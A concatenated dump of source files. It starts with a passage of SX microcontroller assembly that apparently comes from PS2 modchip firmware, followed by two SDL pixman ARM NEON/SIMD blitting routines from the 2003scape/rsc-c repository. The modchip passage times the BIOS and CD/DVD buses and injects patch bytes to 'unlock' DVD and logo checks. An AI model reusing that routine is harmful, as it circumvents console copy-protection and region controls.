jmp V0_logofix nop mov w,#$18 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$c7 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix V0_logofix_L0 sb IO_BIOS_OE jmp V0_logofix_L0 V0_logofix_L1 snb IO_BIOS_OE jmp V0_logofix_L1 decsz VAR_DC1 jmp V0_logofix_L0 V0_logofix_L2 sb IO_BIOS_OE jmp V0_logofix_L2 V0_logofix_patch snb IO_BIOS_OE jmp V0_logofix_patch mov w,#$64;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$13 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C end_V0_logofix_patch sb IO_BIOS_OE jmp end_V0_logofix_patch mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP org $0E00 ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA_v0 ;-------------------------------------------------------------------------------- jmp pc+w retw $0 ; 1 retw $02 ; 2 retw $0 ; 3 retw $80 ; 4 retw $0 ; 5 retw $80 ; 6 V0_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V0_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1 V0_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q ;want byte 10 after FF FF FF FF or reloop (fixed ps2 dvd unlock run) jmp V0_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$10 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_AND_BYTE_SYNC1_L1 V0_CONSOLE_string_sync mov w,#3 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1_sync snb IO_CDDVD_OE_A_1Q ;wait sync byte 5F FF FF 3x in row jmp V0_AND_BYTE_SYNC1_L1_sync clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$5F mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync1 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync2 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,re mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1_sync preload_var clr w ; start 0 as universal run mov VAR_DC2,w mov w,#6 ;6 of bytes to patch after first preloaded total 7 mov VAR_DC3,w mov w,#$03 mov re,w ;first byte preload ready for in to out change patchv0mech snb IO_CDDVD_OE_A_1Q jmp patchv0mech clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,#$1f mov m,w mov w,#$0 ; re goes output mov !re,w RUN_v0patch1 mov w,VAR_DC2 call CDDVD_PATCH_DATA_v0 RUN_CDDVD_PATCH_v0 snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_v0 mov re,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_v0patch1 postpatchv0mecha snb IO_CDDVD_OE_A_1Q jmp postpatchv0mecha mov w,#$ff mov !re,w page $0A00 jmp V0_logo ENDIF end

2003scape/rsc-c

12,846

org.scape2003.mudclient/app/jni/SDL/src/video/arm/pixman-arm-neon-asm.S

/* * Copyright © 2009 Nokia Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * * Author: Siarhei Siamashka (siarhei.siamashka@nokia.com) */ /* * Copyright (c) 2018 RISC OS Open Ltd * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. */ /* Prevent the stack from becoming executable for no reason... */ #if defined(__linux__) && defined(__ELF__) .section .note.GNU-stack,"",%progbits #endif .text .fpu neon .arch armv7a .object_arch armv4 .eabi_attribute 10, 0 /* suppress Tag_FP_arch */ .eabi_attribute 12, 0 /* suppress Tag_Advanced_SIMD_arch */ .arm .altmacro .p2align 2 #include "pixman-arm-asm.h" #include "pixman-arm-neon-asm.h" /* Global configuration options and preferences */ /* * The code can optionally make use of unaligned memory accesses to improve * performance of handling leading/trailing pixels for each scanline. * Configuration variable RESPECT_STRICT_ALIGNMENT can be set to 0 for * example in linux if unaligned memory accesses are not configured to * generate.exceptions. */ .set RESPECT_STRICT_ALIGNMENT, 1 /* * Set default prefetch type. There is a choice between the following options: * * PREFETCH_TYPE_NONE (may be useful for the ARM cores where PLD is set to work * as NOP to workaround some HW bugs or for whatever other reason) * * PREFETCH_TYPE_SIMPLE (may be useful for simple single-issue ARM cores where * advanced prefetch intruduces heavy overhead) * * PREFETCH_TYPE_ADVANCED (useful for superscalar cores such as ARM Cortex-A8 * which can run ARM and NEON instructions simultaneously so that extra ARM * instructions do not add (many) extra cycles, but improve prefetch efficiency) * * Note: some types of function can't support advanced prefetch and fallback * to simple one (those which handle 24bpp pixels) */ .set PREFETCH_TYPE_DEFAULT, PREFETCH_TYPE_ADVANCED /* Prefetch distance in pixels for simple prefetch */ .set PREFETCH_DISTANCE_SIMPLE, 64 /******************************************************************************/ /* We can actually do significantly better than the Pixman macros, at least for * the case of fills, by using a carefully scheduled inner loop. Cortex-A53 * shows an improvement of up to 78% in ideal cases (large fills to L1 cache). */ .macro generate_fillrect_function name, bpp, log2Bpp /* * void name(int32_t w, int32_t h, uint8_t *dst, int32_t dst_stride, uint8_t src); * On entry: * a1 = width, pixels * a2 = height, rows * a3 = pointer to top-left destination pixel * a4 = stride, pixels * [sp] = pixel value to fill with * Within the function: * v1 = width remaining * v2 = vst offset * v3 = alternate pointer * ip = data ARM register */ pixman_asm_function name vld1.\bpp {d0[],d1[]}, [sp] sub a4, a1 vld1.\bpp {d2[],d3[]}, [sp] cmp a1, #(15+64) >> \log2Bpp push {v1-v3,lr} vmov ip, s0 blo 51f /* Long-row case */ mov v2, #64 1: mov v1, a1 ands v3, a3, #15 beq 2f /* Leading pixels */ rsb v3, v3, #16 /* number of leading bytes until 16-byte aligned */ sub v1, v1, v3, lsr #\log2Bpp rbit v3, v3 .if bpp <= 16 .if bpp == 8 tst a3, #1 /* bit 0 unaffected by rsb so can avoid register interlock */ strneb ip, [a3], #1 tst v3, #1<<30 .else tst a3, #2 /* bit 1 unaffected by rsb (assuming halfword alignment) so can avoid register interlock */ .endif strneh ip, [a3], #2 .endif movs v3, v3, lsl #3 vstmcs a3!, {s0} vstmmi a3!, {d0} 2: sub v1, v1, #64 >> \log2Bpp /* simplifies inner loop termination */ add v3, a3, #32 /* Inner loop */ 3: vst1.\bpp {q0-q1}, [a3 :128], v2 subs v1, v1, #64 >> \log2Bpp vst1.\bpp {q0-q1}, [v3 :128], v2 bhs 3b /* Trailing pixels */ 4: movs v1, v1, lsl #27 + \log2Bpp bcc 5f vst1.\bpp {q0-q1}, [a3 :128]! 5: bpl 6f vst1.\bpp {q0}, [a3 :128]! 6: movs v1, v1, lsl #2 vstmcs a3!, {d0} vstmmi a3!, {s0} .if bpp <= 16 movs v1, v1, lsl #2 strcsh ip, [a3], #2 .if bpp == 8 strmib ip, [a3], #1 .endif .endif subs a2, a2, #1 add a3, a3, a4, lsl #\log2Bpp bhi 1b pop {v1-v3,pc} /* Short-row case */ 51: movs v1, a1 .if bpp == 8 tst a3, #3 beq 53f 52: subs v1, v1, #1 blo 57f strb ip, [a3], #1 tst a3, #3 bne 52b .elseif bpp == 16 tstne a3, #2 subne v1, v1, #1 strneh ip, [a3], #2 .endif 53: cmp v1, #32 >> \log2Bpp bcc 54f vst1.\bpp {q0-q1}, [a3]! sub v1, v1, #32 >> \log2Bpp /* Trailing pixels */ 54: movs v1, v1, lsl #27 + \log2Bpp bcc 55f vst1.\bpp {q0-q1}, [a3]! 55: bpl 56f vst1.\bpp {q0}, [a3]! 56: movs v1, v1, lsl #2 vstmcs a3!, {d0} vstmmi a3!, {s0} .if bpp <= 16 movs v1, v1, lsl #2 strcsh ip, [a3], #2 .if bpp == 8 strmib ip, [a3], #1 .endif .endif subs a2, a2, #1 add a3, a3, a4, lsl #\log2Bpp bhi 51b 57: pop {v1-v3,pc} .endfunc .endm generate_fillrect_function FillRect32ARMNEONAsm, 32, 2 generate_fillrect_function FillRect16ARMNEONAsm, 16, 1 generate_fillrect_function FillRect8ARMNEONAsm, 8, 0 /******************************************************************************/ .macro RGBtoRGBPixelAlpha_process_pixblock_head vmvn d30, d3 /* get inverted source alpha */ vmov d31, d7 /* dest alpha is always unchanged */ vmull.u8 q14, d0, d3 vmlal.u8 q14, d4, d30 vmull.u8 q0, d1, d3 vmlal.u8 q0, d5, d30 vmull.u8 q1, d2, d3 vmlal.u8 q1, d6, d30 vrshr.u16 q2, q14, #8 vrshr.u16 q3, q0, #8 vraddhn.u16 d28, q14, q2 vrshr.u16 q2, q1, #8 vraddhn.u16 d29, q0, q3 vraddhn.u16 d30, q1, q2 .endm .macro RGBtoRGBPixelAlpha_process_pixblock_tail /* nothing */ .endm .macro RGBtoRGBPixelAlpha_process_pixblock_tail_head vld4.8 {d0-d3}, [SRC]! PF add PF_X, PF_X, #8 vst4.8 {d28-d31}, [DST_W :128]! PF tst PF_CTL, #0xF vld4.8 {d4-d7}, [DST_R :128]! PF addne PF_X, PF_X, #8 vmvn d30, d3 /* get inverted source alpha */ vmov d31, d7 /* dest alpha is always unchanged */ vmull.u8 q14, d0, d3 PF subne PF_CTL, PF_CTL, #1 vmlal.u8 q14, d4, d30 PF cmp PF_X, ORIG_W vmull.u8 q0, d1, d3 PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift] vmlal.u8 q0, d5, d30 PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift] vmull.u8 q1, d2, d3 PF subge PF_X, PF_X, ORIG_W vmlal.u8 q1, d6, d30 PF subges PF_CTL, PF_CTL, #0x10 vrshr.u16 q2, q14, #8 PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]! vrshr.u16 q3, q0, #8 PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]! vraddhn.u16 d28, q14, q2 vrshr.u16 q2, q1, #8 vraddhn.u16 d29, q0, q3 vraddhn.u16 d30, q1, q2 .endm generate_composite_function \ BlitRGBtoRGBPixelAlphaARMNEONAsm, 32, 0, 32, \ FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \ 8, /* number of pixels, processed in a single block */ \ 5, /* prefetch distance */ \ default_init, \ default_cleanup, \ RGBtoRGBPixelAlpha_process_pixblock_head, \ RGBtoRGBPixelAlpha_process_pixblock_tail, \ RGBtoRGBPixelAlpha_process_pixblock_tail_head /******************************************************************************/ .macro ARGBto565PixelAlpha_process_pixblock_head vmvn d6, d3 vshr.u8 d1, #2 vshr.u8 d3, #3 vshr.u8 d0, #3 vshrn.u16 d7, q2, #3 vshrn.u16 d25, q2, #8 vbic.i16 q2, #0xe0 vshr.u8 d6, #3 vshr.u8 d7, #2 vshr.u8 d2, #3 vmovn.u16 d24, q2 vshr.u8 d25, #3 vmull.u8 q13, d1, d3 vmlal.u8 q13, d7, d6 vmull.u8 q14, d0, d3 vmlal.u8 q14, d24, d6 vmull.u8 q15, d2, d3 vmlal.u8 q15, d25, d6 .endm .macro ARGBto565PixelAlpha_process_pixblock_tail vsra.u16 q13, #5 vsra.u16 q14, #5 vsra.u16 q15, #5 vrshr.u16 q13, #5 vrshr.u16 q14, #5 vrshr.u16 q15, #5 vsli.u16 q14, q13, #5 vsli.u16 q14, q15, #11 .endm .macro ARGBto565PixelAlpha_process_pixblock_tail_head vld4.8 {d0-d3}, [SRC]! PF add PF_X, PF_X, #8 vsra.u16 q13, #5 PF tst PF_CTL, #0xF vsra.u16 q14, #5 PF addne PF_X, PF_X, #8 vsra.u16 q15, #5 PF subne PF_CTL, PF_CTL, #1 vrshr.u16 q13, #5 PF cmp PF_X, ORIG_W vrshr.u16 q14, #5 PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift] vrshr.u16 q15, #5 PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift] vld1.8 {d4-d5}, [DST_R]! PF subge PF_X, PF_X, ORIG_W vsli.u16 q14, q13, #5 PF subges PF_CTL, PF_CTL, #0x10 vsli.u16 q14, q15, #11 PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]! vst1.8 {q14}, [DST_W :128]! vmvn d6, d3 vshr.u8 d1, #2 vshr.u8 d3, #3 vshr.u8 d0, #3 vshrn.u16 d7, q2, #3 vshrn.u16 d25, q2, #8 vbic.i16 q2, #0xe0 PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]! vshr.u8 d6, #3 vshr.u8 d7, #2 vshr.u8 d2, #3 vmovn.u16 d24, q2 vshr.u8 d25, #3 vmull.u8 q13, d1, d3 vmlal.u8 q13, d7, d6 vmull.u8 q14, d0, d3 vmlal.u8 q14, d24, d6 vmull.u8 q15, d2, d3 vmlal.u8 q15, d25, d6 .endm generate_composite_function \ BlitARGBto565PixelAlphaARMNEONAsm, 32, 0, 16, \ FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \ 8, /* number of pixels, processed in a single block */ \ 6, /* prefetch distance */ \ default_init, \ default_cleanup, \ ARGBto565PixelAlpha_process_pixblock_head, \ ARGBto565PixelAlpha_process_pixblock_tail, \ ARGBto565PixelAlpha_process_pixblock_tail_head

2003scape/rsc-c

19,392

org.scape2003.mudclient/app/jni/SDL/src/video/arm/pixman-arm-simd-asm.S

/* * Copyright (c) 2016 RISC OS Open Ltd * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must not * claim that you wrote the original software. If you use this software * in a product, an acknowledgment in the product documentation would be * appreciated but is not required. * 2. Altered source versions must be plainly marked as such, and must not be * misrepresented as being the original software. * 3. This notice may not be removed or altered from any source distribution. */ /* Prevent the stack from becoming executable */ #if defined(__linux__) && defined(__ELF__) .section .note.GNU-stack,"",%progbits #endif .text .arch armv6 .object_arch armv4 .arm .altmacro .p2align 2 #include "pixman-arm-asm.h" #include "pixman-arm-simd-asm.h" /* A head macro should do all processing which results in an output of up to * 16 bytes, as far as the final load instruction. The corresponding tail macro * should complete the processing of the up-to-16 bytes. The calling macro will * sometimes choose to insert a preload or a decrement of X between them. * cond ARM condition code for code block * numbytes Number of output bytes that should be generated this time * firstreg First WK register in which to place output * unaligned_src Whether to use non-wordaligned loads of source image * unaligned_mask Whether to use non-wordaligned loads of mask image * preload If outputting 16 bytes causes 64 bytes to be read, whether an extra preload should be output */ /******************************************************************************/ .macro FillRect32_init ldr SRC, [sp, #ARGS_STACK_OFFSET] mov STRIDE_S, SRC mov MASK, SRC mov STRIDE_M, SRC .endm .macro FillRect16_init ldrh SRC, [sp, #ARGS_STACK_OFFSET] orr SRC, SRC, lsl #16 mov STRIDE_S, SRC mov MASK, SRC mov STRIDE_M, SRC .endm .macro FillRect8_init ldrb SRC, [sp, #ARGS_STACK_OFFSET] orr SRC, SRC, lsl #8 orr SRC, SRC, lsl #16 mov STRIDE_S, SRC mov MASK, SRC mov STRIDE_M, SRC .endm .macro FillRect_process_tail cond, numbytes, firstreg WK4 .req SRC WK5 .req STRIDE_S WK6 .req MASK WK7 .req STRIDE_M pixst cond, numbytes, 4, DST .unreq WK4 .unreq WK5 .unreq WK6 .unreq WK7 .endm generate_composite_function \ FillRect32ARMSIMDAsm, 0, 0, 32, \ FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_PSR | FLAG_PROCESS_DOES_STORE | FLAG_PROCESS_PRESERVES_SCRATCH \ 0, /* prefetch distance doesn't apply */ \ FillRect32_init \ nop_macro, /* newline */ \ nop_macro /* cleanup */ \ nop_macro /* process head */ \ FillRect_process_tail generate_composite_function \ FillRect16ARMSIMDAsm, 0, 0, 16, \ FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_PSR | FLAG_PROCESS_DOES_STORE | FLAG_PROCESS_PRESERVES_SCRATCH \ 0, /* prefetch distance doesn't apply */ \ FillRect16_init \ nop_macro, /* newline */ \ nop_macro /* cleanup */ \ nop_macro /* process head */ \ FillRect_process_tail generate_composite_function \ FillRect8ARMSIMDAsm, 0, 0, 8, \ FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_PSR | FLAG_PROCESS_DOES_STORE | FLAG_PROCESS_PRESERVES_SCRATCH \ 0, /* prefetch distance doesn't apply */ \ FillRect8_init \ nop_macro, /* newline */ \ nop_macro /* cleanup */ \ nop_macro /* process head */ \ FillRect_process_tail /******************************************************************************/ /* This differs from the over_8888_8888 routine in Pixman in that the destination * alpha component is always left unchanged, and RGB components are not * premultiplied by alpha. It differs from BlitRGBtoRGBPixelAlpha in that * renormalisation is done by multiplying by 257/256 (with rounding) rather than * simply shifting right by 8 bits - removing the need to special-case alpha=0xff. */ .macro RGBtoRGBPixelAlpha_init line_saved_regs STRIDE_S, ORIG_W mov MASK, #0x80 .endm .macro RGBtoRGBPixelAlpha_1pixel_translucent s, d, tmp0, tmp1, tmp2, tmp3, half uxtb tmp3, s uxtb tmp0, d sub tmp0, tmp3, tmp0 uxtb tmp3, s, ror #16 uxtb tmp1, d, ror #16 sub tmp1, tmp3, tmp1 uxtb tmp3, s, ror #8 mov s, s, lsr #24 uxtb tmp2, d, ror #8 sub tmp2, tmp3, tmp2 smlabb tmp0, tmp0, s, half smlabb tmp1, tmp1, s, half smlabb tmp2, tmp2, s, half add tmp0, tmp0, asr #8 add tmp1, tmp1, asr #8 add tmp2, tmp2, asr #8 pkhbt tmp0, tmp0, tmp1, lsl #16 and tmp2, tmp2, #0xff00 uxtb16 tmp0, tmp0, ror #8 orr tmp0, tmp0, tmp2 uadd8 d, d, tmp0 .endm .macro RGBtoRGBPixelAlpha_1pixel_opaque s, d and d, d, #0xff000000 bic s, s, #0xff000000 orr d, d, s .endm .macro RGBtoRGBPixelAlpha_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload .if numbytes == 16 ldm SRC!, {WK0, WK1} ldm SRC!, {STRIDE_S, STRIDE_M} ldrd WK2, WK3, [DST], #16 orr SCRATCH, WK0, WK1 and ORIG_W, WK0, WK1 orr SCRATCH, SCRATCH, STRIDE_S and ORIG_W, ORIG_W, STRIDE_S orr SCRATCH, SCRATCH, STRIDE_M and ORIG_W, ORIG_W, STRIDE_M tst SCRATCH, #0xff000000 .elseif numbytes == 8 ldm SRC!, {WK0, WK1} ldm DST!, {WK2, WK3} orr SCRATCH, WK0, WK1 and ORIG_W, WK0, WK1 tst SCRATCH, #0xff000000 .else // numbytes == 4 ldr WK0, [SRC], #4 ldr WK2, [DST], #4 tst WK0, #0xff000000 .endif .endm .macro RGBtoRGBPixelAlpha_process_tail cond, numbytes, firstreg beq 20f @ all transparent .if numbytes == 16 cmp ORIG_W, #0xff000000 bhs 10f @ all opaque RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK strd WK2, WK3, [DST, #-16] ldrd WK0, WK1, [SRC, #-8] ldrd WK2, WK3, [DST, #-8] RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK b 19f 10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3 strd WK2, WK3, [DST, #-16] ldrd WK0, WK1, [SRC, #-8] ldrd WK2, WK3, [DST, #-8] RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3 19: strd WK2, WK3, [DST, #-8] .elseif numbytes == 8 cmp ORIG_W, #0xff000000 bhs 10f @ all opaque RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK b 19f 10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3 19: strd WK2, WK3, [DST, #-8] .else // numbytes == 4 cmp WK0, #0xff000000 bhs 10f @ opaque RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK b 19f 10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2 19: str WK2, [DST, #-4] .endif 20: .endm generate_composite_function \ BlitRGBtoRGBPixelAlphaARMSIMDAsm, 32, 0, 32, \ FLAG_DST_READWRITE | FLAG_BRANCH_OVER | FLAG_PROCESS_CORRUPTS_PSR | FLAG_PROCESS_DOES_STORE | FLAG_SPILL_LINE_VARS | FLAG_PROCESS_CORRUPTS_WK0, \ 2, /* prefetch distance */ \ RGBtoRGBPixelAlpha_init, \ nop_macro, /* newline */ \ nop_macro, /* cleanup */ \ RGBtoRGBPixelAlpha_process_head, \ RGBtoRGBPixelAlpha_process_tail /******************************************************************************/ .macro ARGBto565PixelAlpha_init line_saved_regs STRIDE_D, STRIDE_S, ORIG_W mov MASK, #0x001f mov STRIDE_M, #0x0010 orr MASK, MASK, MASK, lsl #16 orr STRIDE_M, STRIDE_M, STRIDE_M, lsl #16 .endm .macro ARGBto565PixelAlpha_newline mov STRIDE_S, #0x0200 .endm /* On entry: * s1 holds 1 32bpp source pixel * d holds 1 16bpp destination pixel * rbmask, rbhalf, ghalf hold 0x001f001f, 0x00100010, 0x00000200 respectively * other registers are temporaries * On exit: * Constant registers preserved */ .macro ARGBto565PixelAlpha_1pixel_translucent s, d, rbmask, rbhalf, ghalf, alpha, rb, g, misc mov alpha, s, lsr #27 and misc, s, #0xfc00 and g, d, #0x07e0 pkhbt rb, d, d, lsl #5 rsb misc, g, misc, lsr #5 and s, rbmask, s, lsr #3 and rb, rbmask, rb sub s, s, rb smlabb misc, misc, alpha, ghalf mla s, s, alpha, rbhalf add misc, misc, misc, lsl #5 add g, g, misc, asr #10 add s, s, s, lsl #5 and g, g, #0x07e0 add rb, rb, s, asr #10 and rb, rb, rbmask pkhbt rb, rb, rb, lsl #11 orr d, rb, g orr d, d, rb, lsr #16 .endm /* On entry: * s1 holds 1 32bpp source pixel * d holds 1 16bpp destination pixel * rbmask holds 0x001f001f * On exit: * Constant registers preserved */ .macro ARGBto565PixelAlpha_1pixel_opaque s, d, rbmask and d, rbmask, s, lsr #3 and s, s, #0xfc00 orr d, d, d, lsr #5 orr d, d, s, lsr #5 .endm /* On entry: * s1, s2 hold 2 32bpp source pixels * d holds 2 16bpp destination pixels * rbmask, rbhalf, ghalf hold 0x001f001f, 0x00100010, 0x00000200 respectively * other registers are temporaries * On exit: * Constant registers preserved * Blended results have been written through destination pointer */ .macro ARGBto565PixelAlpha_2pixels_translucent s1, s2, d, rbmask, rbhalf, ghalf, alpha, rb, g, misc mov alpha, s1, lsr #27 and misc, s1, #0xfc00 and g, d, #0x07e0 pkhbt rb, d, d, lsl #5 rsb misc, g, misc, lsr #5 and s1, rbmask, s1, lsr #3 and rb, rbmask, rb sub s1, s1, rb smlabb misc, misc, alpha, ghalf mla s1, s1, alpha, rbhalf uxth d, d, ror #16 add misc, misc, misc, lsl #5 mov alpha, s2, lsr #27 add g, g, misc, asr #10 add s1, s1, s1, lsl #5 and g, g, #0x07e0 add rb, rb, s1, asr #10 and rb, rb, rbmask and misc, s2, #0xfc00 pkhbt rb, rb, rb, lsl #11 and s1, d, #0x07e0 pkhbt d, d, d, lsl #5 rsb misc, s1, misc, lsr #5 and s2, rbmask, s2, lsr #3 and d, rbmask, d sub s2, s2, d smlabb misc, misc, alpha, ghalf mla s2, s2, alpha, rbhalf orr alpha, rb, g add misc, misc, misc, lsl #5 orr alpha, alpha, rb, lsr #16 add s1, s1, misc, asr #10 add s2, s2, s2, lsl #5 and s1, s1, #0x07e0 add d, d, s2, asr #10 and d, d, rbmask strh alpha, [DST, #-4] pkhbt d, d, d, lsl #11 orr alpha, d, s1 orr alpha, alpha, d, lsr #16 strh alpha, [DST, #-2] .endm /* On entry: * s1, s2 hold 2 32bpp source pixels * rbmask holds 0x001f001f * other registers are temporaries * On exit: * Constant registers preserved * Blended results have been written through destination pointer */ .macro ARGBto565PixelAlpha_2pixels_opaque s1, s2, d, rbmask, g and g, s1, #0xfc00 and d, rbmask, s1, lsr #3 and s1, rbmask, s2, lsr #3 orr d, d, d, lsr #5 orr d, d, g, lsr #5 and g, s2, #0xfc00 strh d, [DST, #-4] orr s1, s1, s1, lsr #5 orr s1, s1, g, lsr #5 strh s1, [DST, #-2] .endm .macro ARGBto565PixelAlpha_2pixels_head ldrd WK0, WK1, [SRC], #8 ldr WK2, [DST], #4 orr SCRATCH, WK0, WK1 and ORIG_W, WK0, WK1 tst SCRATCH, #0xff000000 .endm .macro ARGBto565PixelAlpha_2pixels_tail beq 20f @ all transparent cmp ORIG_W, #0xff000000 bhs 10f @ all opaque ARGBto565PixelAlpha_2pixels_translucent WK0, WK1, WK2, MASK, STRIDE_M, STRIDE_S, STRIDE_D, WK3, SCRATCH, ORIG_W b 20f 10: ARGBto565PixelAlpha_2pixels_opaque WK0, WK1, WK2, MASK, SCRATCH 20: .endm .macro ARGBto565PixelAlpha_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload .if numbytes == 16 ARGBto565PixelAlpha_2pixels_head ARGBto565PixelAlpha_2pixels_tail ARGBto565PixelAlpha_2pixels_head ARGBto565PixelAlpha_2pixels_tail .endif .if numbytes >= 8 ARGBto565PixelAlpha_2pixels_head ARGBto565PixelAlpha_2pixels_tail .endif .if numbytes >= 4 ARGBto565PixelAlpha_2pixels_head .else // numbytes == 2 ldr WK0, [SRC], #4 ldrh WK2, [DST], #2 tst WK0, #0xff000000 